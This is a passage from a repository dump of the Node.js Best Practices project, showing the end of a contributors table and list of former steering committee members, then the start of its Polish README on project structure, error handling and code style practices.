nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>정진영</b></sub></a><br /><a href=\"#content-jjy821\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kkk-cashwalk\"><img src=\"https://avatars.githubusercontent.com/u/91455122?v=4\" width=\"100px;\" alt=\"kkk-cashwalk\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>kkk-cashwalk</b></sub></a><br /><a href=\"#content-kkk-cashwalk\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/apainintheneck\"><img src=\"https://avatars.githubusercontent.com/u/42982186?v=4\" width=\"100px;\" alt=\"apainintheneck\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>apainintheneck</b></sub></a><br /><a href=\"#content-apainintheneck\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/koyanyaroo\"><img src=\"https://avatars.githubusercontent.com/u/9715368?v=4\" width=\"100px;\" alt=\"Fajar Budhi Iswanda\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Fajar Budhi Iswanda</b></sub></a><br /><a href=\"#content-koyanyaroo\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jutiger\"><img src=\"https://avatars.githubusercontent.com/u/97490806?v=4\" width=\"100px;\" alt=\"이주호\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>이주호</b></sub></a><br /><a href=\"#content-jutiger\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/MisterSingh\"><img src=\"https://avatars.githubusercontent.com/u/44462019?v=4\" width=\"100px;\" alt=\"Singh\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Singh</b></sub></a><br /><a href=\"#content-MisterSingh\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Alex-Dumitru\"><img src=\"https://avatars.githubusercontent.com/u/43738450?v=4\" width=\"100px;\" alt=\"Alex Dumitru\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Alex Dumitru</b></sub></a><br /><a href=\"#content-Alex-Dumitru\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/lykhatskyi\"><img src=\"https://avatars.githubusercontent.com/u/18104686?v=4\" width=\"100px;\" alt=\"Anton Lykhatskyi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Anton Lykhatskyi</b></sub></a><br /><a href=\"#content-lykhatskyi\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/EverythingAvailable\"><img src=\"https://avatars.githubusercontent.com/u/81002379?v=4\" width=\"100px;\" alt=\"sangwonlee\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>sangwonlee</b></sub></a><br /><a href=\"#content-EverythingAvailable\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/euberdeveloper\"><img src=\"https://avatars.githubusercontent.com/u/33126163?v=4\" width=\"100px;\" alt=\"Eugenio Berretta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Eugenio Berretta</b></sub></a><br /><a href=\"#content-euberdeveloper\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/soranakk\"><img src=\"https://avatars.githubusercontent.com/u/3930307?v=4\" width=\"100px;\" alt=\"soranakk\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>soranakk</b></sub></a><br /><a href=\"#content-soranakk\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/backend-joonyoung\"><img src=\"https://avatars.githubusercontent.com/u/94430145?v=4\" width=\"100px;\" alt=\"고준영\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>고준영</b></sub></a><br /><a href=\"#content-backend-joonyoung\" title=\"Content\">🖋</a> <a href=\"https://github.com/goldbergyoni/nodebestpractices/commits?author=backend-joonyoung\" title=\"Code\">💻</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/GuilhermePortella\"><img src=\"https://avatars.githubusercontent.com/u/59876059?v=4\" width=\"100px;\" alt=\"Guilherme Portella \"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Guilherme Portella </b></sub></a><br /><a href=\"#content-GuilhermePortella\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.youtube.com/channel/UCBxzOQd2v9wWfiMDrf_RQ7A\"><img src=\"https://avatars.githubusercontent.com/u/18497570?v=4\" width=\"100px;\" alt=\"André Esser\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>André Esser</b></sub></a><br /><a href=\"#content-Esser50K\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ShiChenCong\"><img src=\"https://avatars.githubusercontent.com/u/22486446?v=4\" width=\"100px;\" alt=\"Scc\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Scc</b></sub></a><br /><a href=\"#translation-ShiChenCong\" title=\"Translation\">🌍</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.mauroaccornero.it\"><img src=\"https://avatars.githubusercontent.com/u/1875822?v=4\" width=\"100px;\" alt=\"Mauro Accornero\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Mauro Accornero</b></sub></a><br /><a href=\"#content-mauroaccornero\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/no-yan\"><img src=\"https://avatars.githubusercontent.com/u/63000297?v=4\" width=\"100px;\" alt=\"no-yan\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>no-yan</b></sub></a><br /><a href=\"#content-no-yan\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/hodbauer\"><img src=\"https://avatars.githubusercontent.com/u/17808632?v=4\" width=\"100px;\" alt=\"hodbauer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>hodbauer</b></sub></a><br /><a href=\"translation-hodbauer\" title=\"Translation\">🌍</a></td>\n    </tr>\n  </tbody>\n</table>\n\n<!-- markdownlint-restore -->\n<!-- prettier-ignore-end -->\n\n<!-- ALL-CONTRIBUTORS-LIST:END -->\n\n### Steering Committee Emeriti\n\n[Bruno Scheufler](https://github.com/BrunoScheufler)\n<a href=\"https://brunoscheufler.com/\"><img src=\"assets/images/web.svg\" width=\"16\" height=\"16\"></img></a>\n\n💻 full-stack web engineer, Node.js & GraphQL enthusiast\n\n<br/>\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/kyle.png\"/>\n\n[Kyle Martin](https://github.com/js-kyle)\n<a href=\"https://twitter.com/kylemartin_93\"><img src=\"assets/images/twitter.svg\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://www.linkedin.com/in/kylemartinnz\"><img src=\"assets/images/linkedin.svg\" width=\"16\" height=\"16\"></img></a>\n\nFull Stack Developer & Site Reliability Engineer based in New Zealand, interested in web application security, and architecting and building Node.js applications to perform at global scale.\n\n<br/>\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/kevyn.png\"/>\n\n[Kevyn Bruyere](https://github.com/kevynb)\n<a href=\"https://www.linkedin.com/in/kevynbruyere/\"><img src=\"assets/images/linkedin.svg\" width=\"16\" height=\"16\"></img></a>\n\nIndependent full-stack developer with a taste for Ops and automation.\n\n<br/>\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/sagir.png\"/>\n\n[Sagir Khan](https://github.com/sagirk)\n<a href=\"https://twitter.com/sagir_k\"><img src=\"assets/images/twitter.svg\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://linkedin.com/in/sagirk\"><img src=\"assets/images/linkedin.svg\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://sagirk.com\"><img src=\"assets/images/web.svg\" width=\"16\" height=\"16\"></img></a>\n\nDeep specialist in JavaScript and its ecosystem — React, Node.js, TypeScript, GraphQL, MongoDB, pretty much anything that involves JS/JSON in any layer of the system — building products using the web platform for the world’s most recognized brands. Individual Member of the Node.js Foundation.\n"
  },
  {
    "path": "README.polish.md",
    "content": "[✔]: assets/images/checkbox-small-blue.png\n\n# Node.js - Najlepsze praktyki\n\n<h1 align=\"center\">\n  <img src=\"assets/images/banner-2.jpg\" alt=\"Node.js Best Practices\"/>\n</h1>\n\n<br/>\n\n<div align=\"center\">\n  <img src=\"https://img.shields.io/badge/⚙%20Item%20count%20-%2085%20Best%20Practices-blue.svg\" alt=\"85 items\"/> <img src=\"https://img.shields.io/badge/%F0%9F%93%85%20Last%20update%20-%20November%2012%202019-green.svg\" alt=\"Last update: Oct 12, 2019\"/> <img src=\"https://img.shields.io/badge/ %E2%9C%94%20Updated%20For%20Version%20-%20Node%2012.12.0-brightgreen.svg\" alt=\"Updated for Node 12.12.0\"/>\n</div>\n\n<br/>\n\n[![nodepractices](./assets/images/twitter-s.png)](https://twitter.com/nodepractices/) **Follow us on Twitter!** [**@nodepractices**](https://twitter.com/nodepractices/)\n\n<br/>\n\nPrzeczytaj także w innych językach: [![CN](./assets/flags/CN.png)**CN**](./README.chinese.md), [![BR](./assets/flags/BR.png)**BR**](./README.brazilian-portuguese.md), [![RU](./assets/flags/RU.png)**RU**](./README.russian.md), [![EU](./assets/flags/EU.png)**EU**](./README.basque.md) [(![ES](./assets/flags/ES.png)**ES**, ![FR](./assets/flags/FR.png)**FR**, ![HE](./assets/flags/HE.png)**HE**, ![KR](./assets/flags/KR.png)**KR**, ![TR](./assets/flags/TR.png)**TR** w trakcie! )](#tłumaczenia)\n\n<br/>\n\n###### Zbudowane i utrzymywane przez nasz [Steering Committee](#steering-committee) oraz [Collaborators](#współpracownicy)\n\n# Najnowsze najlepsze praktyki i aktualności\n\n- **✅ Nowa najlepsza praktyka:** 7.1: [Nie blokuj pętli zdarzeń](#7-wersja-robocza-najlepsze-praktyki-dotyczące-wydajności) od Keith Holliday\n\n- **🇷🇺 Rosyjskie tłumaczenie:** Niesamowity Alex Ivanov właśnie opublikował [rosyjskie tłumaczenie](./README.russian.md)\n\n- **Szukamy autorów TypeScript:** chcesz pomóc w tworzeniu przykładów TypeScript? Weź udział, otwierając issue\n\n<br/><br/>\n\n# Witamy! 3 rzeczy, które musisz wiedzieć na początku\n\n**1. W rzeczywistości czytasz dziesiątki najlepszych artykułów na temat Node.js -** to repozytorium jest podsumowaniem i zbiorem najlepszych pozycji na temat najlepszych praktyk Node.js, a także treści napisanych tutaj przez współpracowników\n\n**2. Jest to największa kompilacja, która rośnie z każdym tygodniem -** obecnie prezentowanych jest ponad 80 najlepszych praktyk, przewodników po stylach i wskazówek architektonicznych. Nowe wydania i pull requesty są tworzone codziennie, aby aktualizować tę książkę na żywo. Chcielibyśmy zobaczyć Twój wkład w to, czy naprawiasz błędy w kodzie, pomagasz w tłumaczeniach, czy sugerujesz nowe genialne pomysły. Zobacz nasze [wskazówki dotyczące pisania tutaj](https://github.com/mbiesiad/nodebestpractices/blob/master/.operations/writing-guidelines.polish.md)\n\n**3. Większość najlepszych praktyk ma dodatkowe informacje -** większość pocisków zawiera link **🔗Przeczytaj więcej**, który rozszerza praktykę o przykłady kodu, cytaty z wybranych blogów i więcej informacji\n<br/><br/>\n\n## Spis treści\n\n1. [Praktyki dotyczące struktury projektu (5)](#1-praktyki-dotyczące-struktury-projektu)\n2. [Procedury obsługi błędów (11) ](#2-procedury-obsługi-błędów)\n3. [Praktyki stylu kodu (12) ](#3-praktyki-stylu-kodu)\n4. [Testy i ogólne praktyki jakości (12) ](#4-testy-i-ogólne-praktyki-jakości)\n5. [Przejście do praktyk produkcyjnych (18) ](#5-przejście-do-praktyk-produkcyjnych)\n6. [Praktyki bezpieczeństwa (25)](#6-najlepsze-praktyki-bezpieczeństwa)\n7. [Praktyki wydajnościowe (2) (Work In Progress️ ✍️)](#7-wersja-robocza-najlepsze-praktyki-dotyczące-wydajności)\n\n<br/><br/>\n\n# `1. Praktyki dotyczące struktury projektu`\n\n## ![✔] 1.1 Skonstruuj swoje rozwiązanie według komponentów\n\n**TL;DR:** Najgorszym problemem związanym z dużymi aplikacjami jest utrzymanie ogromnej bazy kodu z setkami zależności - taki monolit spowalnia programistów, którzy próbują wprowadzić nowe funkcje. Zamiast tego podziel kod na części, każdy otrzyma własny folder lub dedykowaną bazę kodów i zapewni, że każda jednostka będzie niewielka i prosta. Odwiedź „Czytaj więcej” poniżej, aby zobaczyć przykłady prawidłowej struktury projektu\n\n**W przeciwnym razie:** Gdy programiści, którzy kodują nowe funkcje, walczą o uświadomienie sobie wpływu ich zmian i boją się zniszczyć inne zależne komponenty - wdrożenia stają się wolniejsze i bardziej ryzykowne. Trudniej jest także skalować, gdy wszystkie jednostki biznesowe nie są rozdzielone\n\n🔗 [**Czytaj więcej: struktura według komponentów**](./sections/projectstructre/breakintcomponents.polish.md)\n\n<br/><br/>\n\n## ![✔] 1.2 Nakładaj warstwy na komponenty, zachowując Express w granicach\n\n**TL;DR:** Każdy komponent powinien zawierać „warstwy” - dedykowany obiekt dla sieci, logiki i kodu dostępu do danych. Nie tylko pozwala to na wyraźne oddzielenie problemów, ale także znacznie ułatwia mockowanie i testowanie systemu. Chociaż jest to bardzo powszechny wzorzec, programiści API mają tendencję do mieszania warstw, przekazując obiekty warstwy internetowej (wymagania Express, res) do logiki biznesowej i warstw danych - dzięki temu aplikacja jest zależna i dostępna tylko przez Express\n\n**W przeciwnym razie:** Nie można uzyskać dostępu do aplikacji, która miesza obiekty internetowe z innymi warstwami, testując kod, zadania CRON i inne obiekty wywołujące inne niż Express\n\n🔗 [**Czytaj więcej: warstwa twojej aplikacji**](./sections/projectstructre/createlayers.polish.md)\n\n<br/><br/>\n\n## ![✔] 1.3 Opakuj typowe narzędzia jako pakiety npm\n\n**TL;DR:** W dużej aplikacji, która stanowi dużą bazę kodu, kluczowe narzędzia, takie jak rejestrator, szyfrowanie i podobne, powinny być owinięte własnym kodem i udostępnione jako prywatne pakiety npm. Pozwala to na dzielenie się nimi między wieloma bazami kodów i projektami\n\n**W przeciwnym razie:** Będziesz musiał wymyślić własne koło wdrażania i zależności\n\n🔗 [**Czytaj więcej: Struktura według funkcji**](./sections/projectstructre/wraputilities.polish.md)\n\n<br/><br/>\n\n## ![✔] 1.4 Oddzielna „aplikacja” i „serwer” Express\n\n**TL;DR:** Unikaj nieprzyjemnego nawyku definiowania całości aplikacji [Express](https://expressjs.com/) w jednym dużym pliku - rozdziel definicję „Express” na co najmniej dwa pliki: deklarację API (app.js) i problemy z siecią (WWW). Aby uzyskać jeszcze lepszą strukturę, znajdź deklarację API w komponentach\n\n**W przeciwnym razie:** Twój interfejs API będzie dostępny do testowania tylko za pośrednictwem połączeń HTTP (wolniejsze i znacznie trudniejsze do generowania raportów zasięgu). Utrzymanie setek linii kodu w jednym pliku prawdopodobnie nie będzie wielką przyjemnością\n\n🔗 [**Czytaj więcej: oddzielna aplikacja „Express” i „serwer”**](./sections/projectstructre/separateexpress.polish.md)\n\n<br/><br/>\n\n## ![✔] 1.5 Używaj konfiguracji przyjaznej środowisku, bezpiecznej i hierarchicznej\n\n**TL;DR:** Idealne i bezbłędne ustawienie konfiguracji powinno zapewnić, że (a) klucze można odczytać z pliku ORAZ ze zmiennych środowiskowych (b) dane wrażliwe są przechowywane poza zatwierdzonym kodem (c) konfiguracja jest hierarchiczna dla łatwiejszego wyszukiwania. Istnieje kilka pakietów, które mogą pomóc zaznaczyć większość z tych pól, takich jak [rc](https://www.npmjs.com/package/rc), [nconf](https://www.npmjs.com/package/nconf), [config](https://www.npmjs.com/package/config) i [convict](https://www.npmjs.com/package/convict)\n\n**W przeciwnym razie:** Niespełnienie któregokolwiek z wymagań konfiguracji po prostu ugrzęźnie w zespole programistów lub DevOps. Prawdopodobnie jedno i drugie\n\n🔗 [**Czytaj więcej: najlepsze praktyki dotyczące konfiguracji**](./sections/projectstructre/configguide.polish.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#spis-treści\">⬆ Wróć na górę</a></p>\n\n# `2. Procedury obsługi błędów`\n\n## ![✔] 2.1 Użyj Async-Await lub promises do obsługi błędów asynchronicznych\n\n**TL;DR:** Obsługa błędów asynchronicznych w stylu wywołania zwrotnego jest prawdopodobnie najszybszą drogą do piekła (znane też jako Piramida zagłady). Najlepszy prezent, jaki możesz dać kodowi, to skorzystanie z renomowanej biblioteki promise lub async-await zamiast tego, co umożliwia znacznie bardziej zwartą i znaną składnię kodu, taką jak try-catch\n\n**W przeciwnym razie:** styl wywołania zwrotnego Node.js, funkcja (błąd, odpowiedź) jest obiecującym sposobem na niemożliwy do utrzymania kod ze względu na połączenie obsługi błędów z przypadkowym kodem, nadmiernym zagnieżdżaniem i niewygodnymi wzorcami kodowania\n\n🔗 [**Czytaj więcej: avoiding callbacks**](./sections/errorhandling/asyncerrorhandling.polish.md)\n\n<br/><br/>\n\n## ![✔] 2.2 Używaj tylko wbudowanego obiektu Error\n\n**TL;DR:** Wiele z nich wyrzuca błędy jako ciąg znaków lub jako niestandardowy typ - komplikuje to logikę obsługi błędów i interoperacyjność między modułami. Niezależnie od tego, czy odrzucisz promise, rzucisz wyjątek, czy wyślesz błąd - użycie tylko wbudowanego obiektu Error (lub obiektu, który rozszerza wbudowany obiekt Error) zwiększy jednolitość i zapobiegnie utracie informacji\n\n**W przeciwnym razie:** Podczas wywoływania jakiegoś komponentu brak pewności, jaki rodzaj błędów w zamian wraca - znacznie utrudnia prawidłowe zarządzanie błędami. Co gorsza, używanie niestandardowych typów do opisywania błędów może prowadzić do utraty krytycznych informacji o błędach, takich jak stack trace!\n\n🔗 [**Czytaj więcej: using the built-in error object**](./sections/errorhandling/useonlythebuiltinerror.polish.md)\n\n<br/><br/>\n\n## ![✔] 2.3 Rozróżnij błędy operacyjne i programistyczne\n\n**TL;DR:** Błędy operacyjne (np. API otrzymało niepoprawne dane wejściowe) odnoszą się do znanych przypadków, w których wpływ błędu jest w pełni zrozumiały i można go starannie rozpatrzyć. Z drugiej strony błąd programisty (np. próba odczytania niezdefiniowanej zmiennej) odnosi się do nieznanych błędów kodu, które zmuszają do płynnego restartu aplikacji\n\n**W przeciwnym razie:** Zawsze możesz ponownie uruchomić aplikację, gdy pojawi się błąd, ale dlaczego zawieść ~5000 użytkowników online z powodu drobnego, przewidywanego błędu operacyjnego? Drugie rozwiązanie nie jest też idealne - utrzymanie aplikacji w stanie, gdy wystąpi nieznany problem (błąd programisty), może prowadzić do nieprzewidzianego zachowania. Rozróżnienie tych dwóch pozwala działać taktownie i stosować zrównoważone podejście oparte na danym kontekście\n\n🔗 [**Czytaj więcej: operational vs programmer error**](./sections/errorhandling/operationalvsprogrammererror.polish.md)\n\n<br/><br/>\n\n## ![✔] 2.4 Obsługuj błędy centralnie, a nie w oprogramowaniu pośrednim Express\n\n**TL;DR:** Obsługa błędów związanych z logiką, taką jak poczta do administratora i rejestrowanie, powinna być zamknięta w dedykowanym i scentralizowanym obiekcie, do którego wywoływane są wszystkie punkty końcowe (np. Express middleware, zadania cron, testy jednostkowe), gdy pojawia się błąd\n\n**W przeciwnym razie:** Brak obsługi błędów w jednym miejscu prowadzi do duplikacji kodu i prawdopodobnie do nieprawidłowej obsługi błędów\n\n🔗 [**Czytaj więcej: handling errors in a centralized place**](./sections/errorhandling/centralizedhandling.polish.md)\n\n<br/><br/>\n\n## ![✔] 2.5 Dokumentuj błędy interfejsu API za pomocą Swagger lub GraphQL\n\n**TL;DR:** Poinformuj osoby odwołujące się do interfejsu API, które błędy mogą w zamian otrzymać, aby mogły je starannie obsługiwać bez awarii. W przypadku interfejsów API RESTful odbywa się to zwykle w ramach frameworków takich jak Swagger. Jeśli korzystasz z GraphQL, możesz również wykorzystać swój schemat i komentarze.\n\n**W przeciwnym razie:** Klient API może zdecydować o awarii i ponownym uruchomieniu tylko dlatego, że otrzymał błąd, którego nie mógł zrozumieć. Uwaga: osobą wywołującą interfejs API możesz być Ty (bardzo typowe w środowisku mikrousług)\n\n🔗 [**Czytaj więcej: documenting API errors in Swagger or GraphQL**](./sections/errorhandling/documentingusingswagger.polish.md)\n\n<br/><br/>\n\n## ![✔] 2.6 Opuść ten proces z wdziękiem, gdy do miasta przyjedzie nieznajomy\n\n**TL;DR:** Gdy wystąpi nieznany błąd (błąd programisty, patrz najlepsza praktyka 2.3) - nie ma pewności co do kondycji aplikacji. Powszechna praktyka sugeruje ostrożne ponowne uruchomienie procesu za pomocą narzędzia do zarządzania procesami, takiego jak [Forever](https://www.npmjs.com/package/forever) lub [PM2](http://pm2.keymetrics.io/)\n\n**W przeciwnym razie:** Gdy wystąpi nieznany wyjątek, niektóre obiekty mogą znajdować się w stanie wadliwym (np. Emiter zdarzeń, który jest używany globalnie i nie uruchamia już zdarzeń z powodu pewnych wewnętrznych awarii), a wszystkie przyszłe żądania mogą zawieść lub zachowywać się szaleńczo\n\n🔗 [**Czytaj więcej: shutting the process**](./sections/errorhandling/shuttingtheprocess.polish.md)\n\n<br/><br/>\n\n## ![✔] 2.7 Użyj dojrzałego programu rejestrującego, aby zwiększyć widoczność błędów\n\n**TL;DR:** Zestaw dojrzałych narzędzi do rejestrowania, takich jak [Winston](https://www.npmjs.com/package/winston), [Bunyan](https://github.com/trentm/node-bunyan), [Log4js](http://stritti.github.io/log4js/) lub [Pino](https://github.com/pinojs/pino), przyspieszy wykrywanie błędów i zrozumienie. Więc zapomnij o console.log\n\n**W przeciwnym razie:** Przeglądanie w pliku console.logs lub ręcznie przez niechlujny plik tekstowy bez korzystania z narzędzi zapytań lub porządnej przeglądarki dziennika może być zajęciem w pracy do późna\n\n🔗 [**Czytaj więcej: using a mature logger**](./sections/errorhandling/usematurelogger.polish.md)\n\n<br/><br/>\n\n## ![✔] 2.8 Przepływy błędów testowych przy użyciu ulubionego środowiska testowego\n\n**TL;DR:** Niezależnie od tego, czy jest to profesjonalna automatyczna kontrola jakości, czy zwykłe ręczne testowanie programisty - upewnij się, że Twój kod nie tylko spełnia pozytywne scenariusze, ale także obsługuje i zwraca odpowiednie błędy. Ramy testowe, takie jak Mocha i Chai, mogą sobie z tym poradzić (zobacz przykłady kodu w \"Gist popup\")\n\n**W przeciwnym razie:** Bez testowania, automatycznie lub ręcznie, nie można polegać na kodzie, który zwraca prawidłowe błędy. Bez znaczących błędów - nie ma obsługi błędów\n\n🔗 [**Czytaj więcej: testing error flows**](./sections/errorhandling/testingerrorflows.polish.md)\n\n<br/><br/>\n\n## ![✔] 2.9 Odkryj błędy i przestoje przy użyciu produktów APM\n\n**TL;DR:** Produkty do monitorowania i wydajności (np. APM) proaktywnie oceniają twoją bazę kodu lub interfejs API, aby mogły automatycznie zaznaczać błędy, awarie i spowalniające brakujące części\n\n**W przeciwnym razie:** Możesz poświęcić wiele wysiłku na pomiar wydajności interfejsu API i przestojów, prawdopodobnie nigdy nie będziesz wiedział, jakie są twoje najwolniejsze części kodu w rzeczywistym scenariuszu i jak wpływają one na UX\n\n🔗 [**Czytaj więcej: using APM products**](./sections/errorhandling/apmproducts.polish.md)\n\n<br/><br/>\n\n## ![✔] 2.10 Złap nieobsługiwane odrzucenia promise\n\n**TL;DR:** Każdy wyjątek zgłoszony w ramach promise zostanie połknięty i odrzucony, chyba że programista nie zapomni o jawnej obsłudze. Nawet jeśli Twój kod jest subskrybowany w `process.uncaughtException`! Sforsuj to, rejestrując się na wydarzeniu `process.unhandledRejection`\n\n**W przeciwnym razie:** Twoje błędy zostaną połknięte i nie pozostawiają śladu. Nie ma się o co martwić\n\n🔗 [**Czytaj więcej: catching unhandled promise rejection**](./sections/errorhandling/catchunhandledpromiserejection.polish.md)\n\n<br/><br/>\n\n## ![✔] 2.11 Szybko się nie powiedzie, sprawdź poprawność argumentów za pomocą dedykowanej biblioteki\n\n**TL;DR:** Powinno to być częścią najlepszych praktyk Express - Assert API, aby uniknąć nieprzyjemnych błędów, które później będą znacznie trudniejsze do wyśledzenia. Kod weryfikacyjny jest zwykle uciążliwy, chyba że używasz bardzo fajnej biblioteki pomocniczej, takiej jak Joi\n\n**W przeciwnym razie:** Rozważ to - twoja funkcja oczekuje argumentu liczbowego „Discount”, który wywołujący zapomina przekazać, a następnie kod sprawdza, czy Discount!=0 (kwota dozwolonego discounta jest większa od zera), a następnie pozwoli użytkownikowi cieszyć się discountem. OMG, co za paskudny błąd. Widzisz to?\n\n🔗 [**Czytaj więcej: failing fast**](./sections/errorhandling/failfast.polish.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#spis-treści\">⬆ Wróć na górę</a></p>\n\n# `3. Praktyki stylu kodu`\n\n## ![✔] 3.1 Użyj ESLint\n\n**TL;DR:** [ESLint](https://eslint.org) jest de facto standardem sprawdzania możliwych błędów kodu i ustalania stylu kodu, nie tylko w celu zidentyfikowania drobiazgowych problemów z odstępami, ale także w celu wykrycia poważnych anty-wzorców kodu, takich jak programiści zgłaszający błędy bez klasyfikacji. Chociaż ESLint może automatycznie naprawiać style kodu, inne narzędzia, takie jak [prettier](https://www.npmjs.com/package/prettier) i [beautify](https://www.npmjs.com/package/js-beautify) mają większą moc formatowania poprawki i współpracują z ESLint\n\n**W przeciwnym razie:** Programiści skoncentrują się na żmudnych odstępach i problemach z szerokością linii, a czas może zostać zmarnowany na przemyślenie stylu kodu projektu\n\n🔗 [**Czytaj więcej: Using ESLint and Prettier**](./sections/codestylepractices/eslint_prettier.polish.md)\n\n<br/><br/>\n\n## ![✔] 3.2 Specyficzne wtyczki Node.js\n\n**TL;DR:** Oprócz standardowych reguł ESLint obejmujących vanilla JavaScript, dodaj wtyczki Node.js, takie jak [eslint-plugin-node](https://www.npmjs.com/package/eslint-plugin-node), [eslint-plugin- mocha](https://www.npmjs.com/package/eslint-plugin-mocha) i [eslint-plugin-node-security](https://www.npmjs.com/package/eslint-plugin-security)\n\n**W przeciwnym razie:** Wiele wadliwych wzorców kodu Node.js może uciekać pod radarem. Na przykład programiści mogą wymagać plików (zmiennaAsPath) ze zmienną podaną jako ścieżka, która umożliwia atakującym wykonanie dowolnego skryptu JS. Linters Node.js mogą wcześnie wykrywać takie wzorce i narzekać\n\n<br/><br/>\n\n## ![✔] 3.3 Uruchom nawiasy klamrowe Codeblock na tej samej linii\n\n**TL;DR:** Nawiasy klamrowe otwierające bloki kodu powinny znajdować się w tym samym wierszu, co instrukcja otwierająca\n\n### Przykład kodu\n\n```javascript\n// Do\nfunction someFunction() {\n  // code block\n}\n\n// Avoid\nfunction someFunction()\n{\n  // code block\n}\n```\n\n**W przeciwnym razie:** Odstąpienie od tej najlepszej praktyki może prowadzić do nieoczekiwanych rezultatów, jak widać w poniższym wątku StackOverflow:\n\n🔗 [**Czytaj więcej:** \"Why do results vary based on curly brace placement?\" (StackOverflow)](https://stackoverflow.com/questions/3641519/why-does-a-results-vary-based-on-curly-brace-placement)\n\n<br/><br/>\n\n## ![✔] 3.4 Oddziel swoje deklaracje poprawnie\n\nBez względu na to, czy używasz średników, czy też nie rozdzielasz swoich instrukcji, znajomość typowych pułapek niewłaściwych podziałów linii lub automatycznego wstawiania średników pomoże Ci wyeliminować regularne błędy składniowe.\n\n**TL;DR:** Użyj ESLint, aby zyskać świadomość problemów związanych z separacją. [Prettier](https://prettier.io/) lub [Standardjs](https://standardjs.com/) może automatycznie rozwiązać te issues.\n\n**W przeciwnym razie:** Jak widać w poprzedniej sekcji, interpreter JavaScript automatycznie dodaje średnik na końcu instrukcji, jeśli nie istnieje, lub uważa instrukcję za niezakończoną tam, gdzie powinna, co może prowadzić do niepożądanych wyników. Możesz używać przypisań i unikać używania natychmiastowych wywoływanych wyrażeń funkcyjnych, aby zapobiec większości nieoczekiwanych błędów.\n\n### Przykład Kodu\n\n```javascript\n// Do\nfunction doThing() {\n    // ...\n}\n\ndoThing()\n\n// Do\n\nconst items = [1, 2, 3]\nitems.forEach(console.log)\n\n// Avoid — throws exception\nconst m = new Map()\nconst a = [1,2,3]\n[...m.values()].forEach(console.log)\n> 